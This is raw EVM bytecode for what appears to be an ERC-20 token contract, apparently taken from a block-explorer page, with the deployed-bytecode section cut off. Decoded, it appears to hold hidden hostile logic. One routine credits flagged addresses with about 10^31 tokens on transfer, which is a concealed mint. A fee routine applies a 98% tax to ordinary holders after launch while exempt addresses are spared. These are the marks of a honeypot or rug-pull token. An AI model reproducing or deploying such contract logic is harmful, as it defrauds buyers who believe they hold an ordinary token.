0f35b34801561026757600080fd5b506102706108b4565b60405161027d919061261d565b60405180910390f35b34801561029257600080fd5b5061029b6108da565b6040516102a891906125e1565b60405180910390f35b3480156102bd57600080fd5b506102c66108ed565b6040516102d39190612697565b60405180910390f35b3480156102e857600080fd5b506102f1610913565b6040516102fe91906126c1565b60405180910390f35b34801561031357600080fd5b5061032e600480360381019061032991906126dc565b61091d565b60405161033b91906125e1565b60405180910390f35b34801561035057600080fd5b5061035961093d565b60405161036691906125e1565b60405180910390f35b34801561037b57600080fd5b5061039660048036038101906103919190612709565b610950565b6040516103a391906125e1565b60405180910390f35b3480156103b857600080fd5b506103c1610a29565b6040516103ce9190612778565b60405180910390f35b3480156103e357600080fd5b506103fe60048036038101906103f99190612586565b610a40565b60405161040b91906125e1565b60405180910390f35b34801561042057600080fd5b5061043b600480360381019061043691906126dc565b610af3565b60405161044891906125e1565b60405180910390f35b34801561045d57600080fd5b50610466610b13565b60405161047391906126c1565b60405180910390f35b34801561048857600080fd5b50610491610b19565b60405161049e91906127a2565b60405180910390f35b3480156104b357600080fd5b506104bc610b3f565b6040516104c991906125e1565b60405180910390f35b3480156104de57600080fd5b506104e7610b52565b6040516104f491906126c1565b60405180910390f35b34801561050957600080fd5b50610524600480360381019061051f91906126dc565b610b58565b60405161053191906126c1565b60405180910390f35b34801561054657600080fd5b5061054f610ba1565b005b34801561055d57600080fd5b50610566610cdb565b60405161057391906126c1565b60405180910390f35b34801561058857600080fd5b50610591610ce1565b60405161059e91906126c1565b60405180910390f35b3480156105b357600080fd5b506105bc610ce7565b6040516105c991906127a2565b60405180910390f35b3480156105de57600080fd5b506105e7610d10565b6040516105f491906124cb565b60405180910390f35b34801561060957600080fd5b50610624600480360381019061061f9190612586565b610da2565b60405161063191906125e1565b60405180910390f35b34801561064657600080fd5b50610661600480360381019061065c9190612586565b610e6f565b60405161066e91906125e1565b60405180910390f35b34801561068357600080fd5b5061068c610e8d565b60405161069991906126c1565b60405180910390f35b3480156106ae57600080fd5b506106b7610e93565b6040516106c491906124cb565b60405180910390f35b3480156106d957600080fd5b506106f460048036038101906106ef91906127bd565b610f21565b6040516107029291906127fd565b60405180910390f35b34801561071757600080fd5b50610720610f7c565b60405161072d91906124cb565b60405180910390f35b34801561074257600080fd5b5061075d60048036038101906107589190612826565b61100a565b60405161076a91906126c1565b60405180910390f35b34801561077f57600080fd5b50610788611091565b604051610795919061261d565b60405180910390f35b3480156107aa57600080fd5b506107c560048036038101906107c091906126dc565b6110b7565b005b3480156107d357600080fd5b506107ee60048036038101906107e991906126dc565b61125f565b6040516107fb91906125e1565b60405180910390f35b60606008805461081390612895565b80601f016020809104026020016040519081016040528092919081815260200182805461083f90612895565b801561088c5780601f106108615761010080835404028352916020019161088c565b820191906000526020600020905b81548152906001019060200180831161086f57829003601f168201915b5050505050905090565b60006108aa6108a36112ab565b84846112b3565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601860169054906101000a900460ff1681565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b54905090565b60046020528060005260406000206000915054906101000a900460ff1681565b601860149054906101000a900460ff1681565b600061095d848484611447565b610a1e846109696112ab565b610a1985604051806060016040528060288152602001612ef860289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109cf6112ab565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a989092919063ffffffff16565b6112b3565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b6000610ae9610a4d6112ab565b84610ae48560026000610a5e6112ab565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aed90919063ffffffff16565b6112b3565b6001905092915050565b60056020528060005260406000206000915054906101000a900460ff1681565b600e5481565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601860159054906101000a900460ff1681565b600f5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ba96112ab565b73ffffffffffffffffffffffffffffffffffffffff16610bc7610ce7565b73ffffffffffffffffffffffffffffffffffffffff1614610c1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1490612912565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60135481565b60155481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054610d1f90612895565b80601f0160208091040260200160405190810160405280929190818152602001828054610d4b90612895565b8015610d985780601f10610d6d57610100808354040283529160200191610d98565b820191906000526020600020905b815481529060010190602001808311610d7b57829003601f168201915b5050505050905090565b6000610e65610daf6112ab565b84610e6085604051806060016040528060258152602001612f206025913960026000610dd96112ab565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a989092919063ffffffff16565b6112b3565b6001905092915050565b6000610e83610e7c6112ab565b8484611447565b6001905092915050565b600b5481565b60098054610ea090612895565b80601f0160208091040260200160405190810160405280929190818152602001828054610ecc90612895565b8015610f195780601f10610eee57610100808354040283529160200191610f19565b820191906000526020600020905b815481529060010190602001808311610efc57829003601f168201915b505050505081565b6000806000610f546064610f46610f3787611b03565b8861127f90919063ffffffff16565b61129590919063ffffffff16565b90506000610f6b8287611be590919063ffffffff16565b905080829350935050509250929050565b60088054610f8990612895565b80601f0160208091040260200160405190810160405280929190818152602001828054610fb590612895565b80156110025780601f10610fd757610100808354040283529160200191611002565b820191906000526020600020905b815481529060010190602001808311610fe557829003601f168201915b505050505081565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6110bf6112ab565b73ffffffffffffffffffffffffffffffffffffffff166110dd610ce7565b73ffffffffffffffffffffffffffffffffffffffff1614611133576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112a90612912565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036111a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611199906129a4565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60036020528060005260406000206000915054906101000a900460ff1681565b6000818361128d91906129f3565b905092915050565b600081836112a39190612a7c565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561131d5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b61135c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135390612af9565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161143a91906126c1565b60405180910390a3505050565b61144f610ce7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156114d85750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561151057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561156a5750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156115c45750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561161a5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116595750611629610ce7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156116bd57600061166983610b58565b9050601354828261167a9190612b19565b11156116bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b290612bbb565b60405180910390fd5b505b6116c5610ce7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117335750611703610ce7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561174557506117448383611bfb565b5b156117905760155481111561178f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178690612c27565b60405180910390fd5b5b600c60029054906101000a900460ff1660ff16600c60009054906101000a900460ff1660ff16101580156117d15750601860149054906101000a900460ff16155b801561182b5750601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118435750601860159054906101000a900460ff165b15611896576000600c60006101000a81548160ff021916908360ff160217905550600061186f30610b58565b90506015548111156118815760155490505b60008111156118945761189381611ca6565b5b505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061193d5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156119c25760009050600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156119bd576001600c60019054906101000a900460ff1660ff1610156119bc576119bb611d1a565b5b5b611a86565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611a2557600e54600d81905550611a85565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611a8457600f54600d819055505b5b5b611a9284848484611d52565b50505050565b6000838311158290611ae0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad791906124cb565b60405180910390fd5b5082840390509392505050565b60008183611afb9190612b19565b905092915050565b60006001600c60019054906101000a900460ff1660ff1610611bda57600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611bd157600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611bc8576062611bcc565b600d545b611bd5565b600d545b611bde565b600d545b9050919050565b60008183611bf39190612c47565b905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c9e5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905092915050565b6001601860146101000a81548160ff021916908315150217905550611cca81611dbc565b6000479050611cfb600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611fff565b506000601860146101000a81548160ff02191690831515021790555050565b6001600c60019054906101000a900460ff16611d369190612c7b565b600c60016101000a81548160ff021916908360ff160217905550565b80611d6457611d5f61204a565b611d9d565b600c600081819054906101000a900460ff1680929190611d8390612cb2565b91906101000a81548160ff021916908360ff160217905550505b611da88484846120a6565b80611db657611db561233e565b5b50505050565b6000600267ffffffffffffffff811115611dd957611dd8612cdb565b5b604051908082528060200260200182016040528015611e075781602001602082028036833780820191505090505b5090503081600081518110611e1f57611e1e612d0a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ec6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611eea9190612d4e565b81600181518110611efe57611efd612d0a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f6530601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b3565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fc9959493929190612e74565b600060405180830381600087803b158015611fe357600080fd5b505af1158015611ff7573d6000803e3d6000fd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612045573d6000803e3d6000fd5b505050565b6000600d5414801561205e57506000600e54145b801561206c57506000600f54145b6120a457600e54601181905550600f54601281905550600d546010819055506000600e819055506000600f819055506000600d819055505b565b6000806120b38386610f21565b9150915061210983600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611be590919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061219e82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aed90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561223d5761223c8461235b565b5b61228f81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aed90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161232f91906126c1565b60405180910390a35050505050565b601054600d81905550601154600e81905550601254600f81905550565b600080601f90506000600a9050600192505b600082111561239757808361238291906129f3565b9250818061238f90612ece565b92505061236d565b6123e983600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aed90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561246c578082015181840152602081019050612451565b8381111561247b576000848401525b50505050565b6000601f19601f8301169050919050565b600061249d82612432565b6124a7818561243d565b93506124b781856020860161244e565b6124c081612481565b840191505092915050565b600060208201905081810360008301526124e58184612492565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061251d826124f2565b9050919050565b61252d81612512565b811461253857600080fd5b50565b60008135905061254a81612524565b92915050565b6000819050919050565b61256381612550565b811461256e57600080fd5b50565b6000813590506125808161255a565b92915050565b6000806040838503121561259d5761259c6124ed565b5b60006125ab8582860161253b565b92505060206125bc85828601612571565b9150509250929050565b60008115159050919050565b6125db816125c6565b82525050565b60006020820190506125f660008301846125d2565b92915050565b6000612607826124f2565b9050919050565b612617816125fc565b82525050565b6000602082019050612632600083018461260e565b92915050565b6000819050919050565b600061265d612658612653846124f2565b612638565b6124f2565b9050919050565b600061266f82612642565b9050919050565b600061268182612664565b9050919050565b61269181612676565b82525050565b60006020820190506126ac6000830184612688565b92915050565b6126bb81612550565b82525050565b60006020820190506126d660008301846126b2565b92915050565b6000602082840312156126f2576126f16124ed565b5b60006127008482850161253b565b91505092915050565b600080600060608486031215612722576127216124ed565b5b60006127308682870161253b565b93505060206127418682870161253b565b925050604061275286828701612571565b9150509250925092565b600060ff82169050919050565b6127728161275c565b82525050565b600060208201905061278d6000830184612769565b92915050565b61279c81612512565b82525050565b60006020820190506127b76000830184612793565b92915050565b600080604083850312156127d4576127d36124ed565b5b60006127e285828601612571565b92505060206127f38582860161253b565b9150509250929050565b600060408201905061281260008301856126b2565b61281f60208301846126b2565b9392505050565b6000806040838503121561283d5761283c6124ed565b5b600061284b8582860161253b565b925050602061285c8582860161253b565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806128ad57607f821691505b6020821081036128c0576128bf612866565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006128fc60208361243d565b9150612907826128c6565b602082019050919050565b6000602082019050818103600083015261292b816128ef565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061298e60268361243d565b915061299982612932565b604082019050919050565b600060208201905081810360008301526129bd81612981565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006129fe82612550565b9150612a0983612550565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612a4257612a416129c4565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612a8782612550565b9150612a9283612550565b925082612aa257612aa1612a4d565b5b828204905092915050565b7f4552523a207a65726f2061646472657373000000000000000000000000000000600082015250565b6000612ae360118361243d565b9150612aee82612aad565b602082019050919050565b60006020820190508181036000830152612b1281612ad6565b9050919050565b6000612b2482612550565b9150612b2f83612550565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612b6457612b636129c4565b5b828201905092915050565b7f4d61782057616c6c657421000000000000000000000000000000000000000000600082015250565b6000612ba5600b8361243d565b9150612bb082612b6f565b602082019050919050565b60006020820190508181036000830152612bd481612b98565b9050919050565b7f4d61782054782100000000000000000000000000000000000000000000000000600082015250565b6000612c1160078361243d565b9150612c1c82612bdb565b602082019050919050565b60006020820190508181036000830152612c4081612c04565b9050919050565b6000612c5282612550565b9150612c5d83612550565b925082821015612c7057612c6f6129c4565b5b828203905092915050565b6000612c868261275c565b9150612c918361275c565b92508260ff03821115612ca757612ca66129c4565b5b828201905092915050565b6000612cbd8261275c565b915060ff8203612cd057612ccf6129c4565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612d4881612524565b92915050565b600060208284031215612d6457612d636124ed565b5b6000612d7284828501612d39565b91505092915050565b6000819050919050565b6000612da0612d9b612d9684612d7b565b612638565b612550565b9050919050565b612db081612d85565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612deb81612512565b82525050565b6000612dfd8383612de2565b60208301905092915050565b6000602082019050919050565b6000612e2182612db6565b612e2b8185612dc1565b9350612e3683612dd2565b8060005b83811015612e67578151612e4e8882612df1565b9750612e5983612e09565b925050600181019050612e3a565b5085935050505092915050565b600060a082019050612e8960008301886126b2565b612e966020830187612da7565b8181036040830152612ea88186612e16565b9050612eb76060830185612793565b612ec460808301846126b2565b9695505050505050565b6000612ed982612550565b915060008203612eec57612eeb6129c4565b5b60018203905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122040947e4beb9634338c0bacd9926b71428132769bbac1d36d5a3054cf7d2298ec64736f6c634300080d0033
Deployed Bytecode
0x6080604052600436106101e75760003560e01c806370a0823111610102578063af465a2711610095578063dd62ed3e11610064578063dd62ed3e14610736578063e2e76d5014610773578063f2fde38b1461079e578063fee59bf8146107c7576101ee565b8063af465a2714610677578063b09f1266146106a2578063cccdbe2e146106cd578063d28d88521461070b576101ee565b80638da5cb5b116100d15780638da5cb5b146105a757806395d89b41146105d2578063a457c2d7146105fd578063a9059cbb1461063a576101ee565b806370a08231146104fd578063715018a61461053a57806378109e54146105515780637d1db4a51461057c576101ee565b806323b872dd1161017a57806340b9a54b1161014957806340b9a54b1461045157806349bd5a5e1461047c5780634a74bb02146104a7578063590f897e146104d2576101ee565b806323b872dd1461036f578063313ce567146103ac57806339509351146103d7578063401565a814610414576101ee565b80631694505e116101b65780631694505e146102b157806318160ddd146102dc578063183b986e14610307578063220f669614610344576101ee565b806306fdde03146101f3578063095ea7b31461021e5780631157a9291461025b57806313fad07a14610286576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b50610208610804565b60405161021591906124cb565b60405180910390f35b34801561022a57600080fd5b5061024560048036038101906102409190612586565b610896565b60405161025291906125e1565b60405180910390f35b34801561026757600080fd5b506102706108b4565b60405161027d919061261d565b60405180910390f35b34801561029257600080fd5b5061029b6108da565b6040516102a891906125e1565b60405180910390f35b3480156102bd57600080fd5b506102c66108ed565b6040516102d39190612697565b60405180910390f35b3480156102e857600080fd5b506102f1610913565b6040516102fe91906126c1565b60405180910390f35b34801561031357600080fd5b5061032e600480360381019061032991906126dc565b61091d565b60405161033b91906125e1565b60405180910390f35b34801561035057600080fd5b5061035961093d565b60405161036691906125e1565b60405180910390f35b34801561037b57600080fd5b5061039660048036038101906103919190612709565b610950565b6040516103a391906125e1565b60405180910390f35b3480156103b857600080fd5b506103c1610a29565b6040516103ce9190612778565b60405180910390f35b3480156103e357600080fd5b506103fe60048036038101906103f99190612586565b610a40565b60405161040b91906125e1565b60405180910390f35b34801561042057600080fd5b5061043b600480360381019061043691906126dc565b610af3565b60405161044891906125e1565b60405180910390f35b34801561045d57600080fd5b50610466610b13565b60405161047391906126c1565b60405180910390f35b34801561048857600080fd5b50610491610b19565b60405161049e91906127a2565b60405180910390f35b3480156104b357600080fd5b506104bc610b3f565b6040516104c991906125e1565b60405180910390f35b3480156104de57600080fd5b506104e7610b52565b6040516104f491906126c1565b60405180910390f35b34801561050957600080fd5b50610524600480360381019061051f91906126dc565b610b58565b60405161053191906126c1565b60405180910390f35b34801561054657600080fd5b5061054f610ba1565b005b34801561055d57600080fd5b50610566610cdb565b60405161057391906126c1565b60405180910390f35b34801561058857600080fd5b50610591610ce1565b60405161059e91906126c1565b60405180910390f35b3480156105b357600080fd5b506105bc610ce7565b6040516105c991906127a2565b60405180910390f35b3480156105de57600080fd5b506105e7610d10565b6040516105f491906124cb565b60405180910390f35b34801561060957600080fd5b50610624600480360381019061061f9190612586565b610da2565b60405161063191906125e1565b60405180910390f35b34801561064657600080fd5b50610661600480360381019061065c9190612586565b610e6f565b60405161066e91906125e1565b60405180910390f35b34801561068357600080fd5b5061068c610e8d565b60405161069991906126c1565b60405180910390f35b3480156106ae57600080fd5b506106b7610e93565b6040516106c491906124cb565b60405180910390f35b3480156106d957600080fd5b506106f460048036038101906106ef91906127bd565b610f21565b6040516107029291906127fd565b60405180910390f35b34801561071757600080fd5b50610720610f7c565b60405161072d91906124cb565b60405180910390f35b34801561074257600080fd5b5061075d60048036038101906107589190612826565b61100a565b60405161076a91906126c1565b60405180910390f35b34801561077f57600080fd5b50610788611091565b604051610795919061261d565b60405180910390f35b3480156107aa57600080fd5b506107c560048036038101906107c091906126dc565b6110b7565b005b3480156107d357600080fd5b506107ee60048036038101906107e991906126dc565b61125f565b6040516107fb91906125e1565b60405180910390f35b60606008805461081390612895565b80601f016020809104026020016040519081016040528092919081815260200182805461083f90612895565b801561088c5780601f106108615761010080835404028352916020019161088c565b820191906000526020600020905b81548152906001019060200180831161086f57829003601f168201915b5050505050905090565b60006108aa6108a36112ab565b84846112b3565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601860169054906101000a900460ff1681565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b54905090565b60046020528060005260406000206000915054906101000a900460ff1681565b601860149054906101000a900460ff1681565b600061095d848484611447565b610a1e846109696112ab565b610a1985604051806060016040528060288152602001612ef860289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109cf6112ab565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a989092919063ffffffff16565b6112b3565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b6000610ae9610a4d6112ab565b84610ae48560026000610a5e6112ab565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aed90919063ffffffff16565b6112b3565b6001905092915050565b60056020528060005260406000206000915054906101000a900460ff1681565b600e5481565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601860159054906101000a900460ff1681565b600f5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ba96112ab565b73ffffffffffffffffffffffffffffffffffffffff16610bc7610ce7565b73ffffffffffffffffffffffffffffffffffffffff1614610c1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1490612912565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60135481565b60155481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054610d1f90612895565b80601f0160208091040260200160405190810160405280929190818152602001828054610d4b90612895565b8015610d985780601f10610d6d57610100808354040283529160200191610d98565b820191906000526020600020905b815481529060010190602001808311610d7b57829003601f168201915b5050505050905090565b6000610e65610daf6112ab565b84610e6085604051806060016040528060258152602001612f206025913960026000610dd96112ab565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a989092919063ffffffff16565b6112b3565b6001905092915050565b6000610e83610e7c6112ab565b8484611447565b6001905092915050565b600b5481565b60098054610ea090612895565b80601f0160208091040260200160405190810160405280929190818152602001828054610ecc90612895565b8015610f195780601f10610eee57610100808354040283529160200191610f19565b820191906000526020600020905b815481529060010190602001808311610efc57829003601f168201915b505050505081565b6000806000610f546064610f46610f3787611b03565b8861127f90919063ffffffff16565b61129590919063ffffffff16565b90506000610f6b8287611be590919063ffffffff16565b905080829350935050509250929050565b60088054610f8990612895565b80601f0160208091040260200160405190810160405280929190818152602001828054610fb590612895565b80156110025780601f10610fd757610100808354040283529160200191611002565b820191906000526020600020905b815481529060010190602001808311610fe557829003601f168201915b505050505081565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6110bf6112ab565b73ffffffffffffffffffffffffffffffffffffffff166110dd610ce7565b73ffffffffffffffffffffffffffffffffffffffff1614611133576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112a90612912565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036111a2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611199906129a4565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60036020528060005260406000206000915054906101000a900460ff1681565b6000818361128d91906129f3565b905092915050565b600081836112a39190612a7c565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561131d5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b61135c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135390612af9565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ff